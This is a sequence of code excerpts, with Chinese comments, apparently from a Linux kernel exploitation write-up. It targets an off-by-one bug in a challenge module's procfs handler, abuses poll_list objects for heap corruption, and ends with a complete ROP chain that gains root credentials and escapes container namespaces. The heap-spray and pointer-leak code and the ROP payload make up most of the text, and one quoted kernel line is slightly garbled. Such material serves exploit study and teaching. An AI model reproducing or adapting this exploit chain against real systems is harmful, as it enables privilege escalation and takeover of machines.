static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
    [...]

    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count; 	// [1] 当写入字节大于4096时，`len` 被设置为 `PAGE_SIZE-1`，否则被设置为 count

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC); 			// [2] 分配 kmalloc-4k
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }

    if (copy_from_user(syscalls, ubuf, len)) 			// [3] 拷贝用户数据
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }

    syscalls[len] = '\x00'; 							// [4] off-by-one 漏洞

    [...]
}

// 参数说明: fds - pollfd 结构数组; nfds - fds 数组中 pollfd 结构的数量; timeout - event 发生的时间 (milliseconds)
int poll(struct pollfd fds[], nfds_t nfds, int timeout);

struct pollfd {
    int   fd;
    short events;
    short revents;
};

struct poll_list {		// poll_list 是头部, 从 poll_list->entries 开始存放用户传入的 pollfd
	struct poll_list *next;  
	int len;				 // entries 中 pollfd 结构的数量
	struct pollfd entries[]; // pollfd 结构数组, 每个 entry 占8字节
};

#define POLL_STACK_ALLOC	256
#define PAGE_SIZE 4096

#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))	//(4096-16)/8 = 510(堆上存放pollfd最大数量)

#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / \				//(256-16)/8 = 30 (栈上存放pollfd最大数量)
			sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
		struct timespec64 *end_time)
{

    struct poll_wqueues table;
    int err = -EFAULT, fdcount, len;
    /* Allocate small arguments on the stack to save memory and be
       faster - use long to make sure the buffer is aligned properly
       on 64 bit archs to avoid unaligned access */
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; // [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
    struct poll_list *const head = (struct poll_list *)stack_pps;
    struct poll_list *walk = head;
 	unsigned long todo = nfds;

	if (nfds > rlimit(RLIMIT_NOFILE))
		return -EINVAL;

	len = min_t(unsigned int, nfds, N_STACK_PPS); // [2] 前30个 pollfd entry 先存放在栈上，节省内存和时间

	for (;;) {
		walk->next = NULL;
		walk->len = len;
		if (!len)
			break;

		if (copy_from_user(walk->entries, ufds + nfds-todo,
					sizeof(struct pollfd) * walk->len))
			goto out_fds;

		todo -= walk->len;
		if (!todo)
			break;

		len = min(todo, POLLFD_PER_PAGE); 		// [3] 如果提交超过30个 pollfd entries，就会把多出来的 pollfd 放在内核堆上。每个page 最多存 POLLFD_PER_PAGE (510) 个entry, 超过这个数，则分配新的 poll_list, 依次循环直到存下所有传入的 entry
		walk = walk->next = kmalloc(struct_size(walk, entries, len),
					    GFP_KERNEL); 			// [4] 只要控制好被监控的文件描述符数量，就能控制分配size，从 kmalloc-32 到 kmalloc-4k
		if (!walk) {
			err = -ENOMEM;
			goto out_fds;
		}
	}

	poll_initwait(&table);
	fdcount = do_poll(head, &table, end_time);  // [5] 分配完 poll_list 对象后，调用 do_poll() 来监控这些文件描述符，直到发生特定 event 或者超时。这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长，超时后自动释放。
	poll_freewait(&table);

	if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
		goto out_fds;

	for (walk = head; walk; walk = walk->next) {
		struct pollfd *fds = walk->entries;
		int j;

		for (j = walk->len; j; fds++, ufds++, j--)
			unsafe_put_user(fds->revents, &ufds->revents, Efault);
  	}
	user_write_access_end();

	err = fdcount;
out_fds:
	walk = head->next;
	while (walk) { 		// [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
		struct poll_list *pos = walk;
		walk = walk->next;
		kfree(pos);
	}

	return err;

Efault:
	user_write_access_end();
	err = -EFAULT;
	goto out_fds;
}

#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);

pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

struct t_args
{
    int id;
    int nfds;
    int timeout;
};

void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timeout, id;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timeout = ((struct t_args *)args)->timeout;

    pfds = calloc(nfds, sizeof(struct pollfd)); 	// 构造 struct pollfd *pfds 用户参数

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    //printf("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timeout);
    //printf("[Thread %d] Polling complete: %d!\n", id, ret); 
}

void create_poll_thread(int id, size_t size, int timeout)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));	// 需要减去 poll_list 头部所占的字节数

    args->id = id;
    args->nfds = NFDS(size);	// 这里的size是纯pollfd的个数
    args->timeout = timeout;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}

void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
        pthread_join(poll_tid[i], NULL);
        
    poll_threads = 0;
}

[...]

fds[i] = open("/etc/passwd", O_RDONLY);

for (int i = 0; i < 8; i++)
    create_poll_thread(i, 4096 + 32, 3000);

join_poll_threads();

[...]

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
	 size_t size, int flags)
{
    [...]
    
    if (size > XATTR_SIZE_MAX)
        return -E2BIG;
    kvalue = kvmalloc(size, GFP_KERNEL); 		// [1] 分配任意 size
    if (!kvalue)
        return -ENOMEM;
    if (copy_from_user(kvalue, value, size)) { 	// [2] 填充任意数据
        error = -EFAULT;
        goto out;
    }
    
    [...]

out:
    kvfree(kvalue); 							// [3] 自动释放

    return error;
}

    [...]

    assign_to_core(0); 				// [1] 首先绑定到 CPU0 执行 —— sched_setaffinity()

    for (int i = 0; i < 2048; i++) 	// [2] 堆风水: 喷射 seq_operations 结构来填充 kmalloc-32
        alloc_seq_ops(i);

    for (int i = 0; i < 72; i++)
    {   
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32); 		// [3] 调用 add_key() 向 kmalloc-32 喷射 user_key_payload, 注意在这之前调用 setxattr() 将堆块清0（前8字节必须为0）
    }
    
    for (int i = 0; i < 14; i++)
        create_poll_thread(i, 4096 + 24, 3000, false); 	// [4] 喷射 poll_list kmalloc-4k+kmalloc-32

    for (int i = 72; i < MAX_KEYS; i++) 
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32); 		// [5] 喷射更多的 user_key_payload, 填充slab
    }
    
    [...]

    [...]

    write(fd, data, PAGE_SIZE); // [1] 往 CoRMon procfs 接口写入 4096 字节, 篡改 poll_list->next, 使之指向某个 user_key_payload

    join_poll_threads(); 		// [2] 等待超时并释放所有 poll_list, 这将会释放某个 user_key_payload

    [...]

    [...]

    for (int i = 2048; i < 2048 + 128; i++)
        alloc_seq_ops(i); 			// [1] 喷射 seq_operations (kmalloc-32), 其中 seq_operations->single_next 的低2字节 (0x4330) 可能会覆写之前释放的 user_key_payload->len

    if (leak_kernel_pointer() < 0) 	// [2] proc_single_show() 函数指针会覆写到 user_key_payload->data 处。遍历所有 user_key_payload 直到泄露 proc_single_show 地址 —— 内核基址
    {
        puts("[X] Kernel pointer leak failed, try again...");
        exit(1);
    }

    free_all_keys(true); 			// [3] 释放所有 kmalloc-32, 图3A 中橘黄色的块, 除了被覆写的 user_key_payload

    for (int i = 0; i < 72; i++)
        alloc_tty(i); 				// [4] 打开很多 ptmx, 就会用 tty_file_private 替换刚才释放的 kmalloc-32, 见图3B中蓝色的块

    if (leak_heap_pointer(corrupted_key) < 0) // [5] 利用 OOB read 泄露 tty_struct 地址
    {
        puts("[X] Heap pointer leak failed, try again...");
        exit(1);
    }

    [...]

    [...]

    for (int i = 2048; i < 2048 + 128; i++)
        free_seq_ops(i); 		// [1] 释放所有 kmalloc-32 seq_operations (图3A/3B中黄色的块)

    for (int i = 0; i < 192; i++)
        create_poll_thread(i, 24, 3000, true); 	 // [2] 用 poll_list 替换刚才释放的 seq_operations (图4A中绿色块), 目前为止，刚才覆写 user_key_payload 的 seq_operations 也被 poll_list 替换

    free_key(corrupted_key); 	// [3] 释放所有 user_key_payload, 包括被 seq_operations 覆写的块, 本质上是释放了某个 poll_list, 构造了UAF
    sleep(1); // GC key

    *(uint64_t *)&data[0] = target_object - 0x18;// [4] 伪造 poll_list->next = target object-0x18

    for (int i = 0; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);  // [5] 先通过 setxattr() 堆喷伪造 poll_list->next, 然后再分配 user_key_payload 占据 setxattr() 的缓冲区，避免被其他对象占用后又把前8字节改掉了
    }

    [...]

    [...]
    
    for (int i = 0; i < 72; i++)
        free_tty(i); 			// [1] 继续释放 tty_struct

    sleep(1); // GC TTYs

    for (int i = 0; i < 1024; i++)
        alloc_pipe_buff(i); 	// [2] 喷射 pipe_buffer, 替换 tty_struct。等待超时, 通过某个伪造的 poll_list->next 释放某个 pipe_buffer

    [...]
    
    free_all_keys(false); 		// 释放所有 user_key_payload

    for (int i = 0; i < 31; i++)
        keys[i] = alloc_key(n_keys++, buff, 600); // [3] 用 kmalloc-1024 user_key_payload 堆喷篡改某个被释放的 pipe_buffer, 布置ROP chain, 篡改 anon_pipe_buf_ops 指针指向 stack pivot gadget

    for (int i = 0; i < 1024; i++)
        release_pipe_buff(i); 	// [4] 关闭 pipe, 触发 pipe_release(), 劫持控制流

    [...]

    buff = (char *)calloc(1, 1024);

    // Stack pivot    [1]
    *(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops
    *(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
    *(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
    *(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

    // ROP
    rop = (uint64_t *)&buff[0x80];

    // creds = prepare_kernel_cred(0)   [2]
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred

    // commit_creds(creds)    [3]
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff810eba40; // commit_creds

    // task = find_task_by_vpid(1)    [4]
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 1;                                // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // switch_task_namespaces(task, init_nsproxy)    [5]
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
    *rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
    *rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces

    // new_fs = copy_fs_struct(init_fs)    [6]
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= kernel_base + 0xffffffff82589740; // init_fs;
    *rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
    *rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

    // current = find_task_by_vpid(getpid())    [7]
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= getpid();                         // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // current->fs = new_fs    [8]
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0x6e0;                            // current->fs
    *rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
    *rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
    *rop ++= 0;                                // rbx

    // kpti trampoline    [9]
    *rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
    *rop ++= 0;
    *rop ++= 0;
    *rop ++= (uint64_t)&win;
    *rop ++= usr_cs;
    *rop ++= usr_rflags;
    *rop ++= (uint64_t)(stack + 0x5000);
    *rop ++= usr_ss;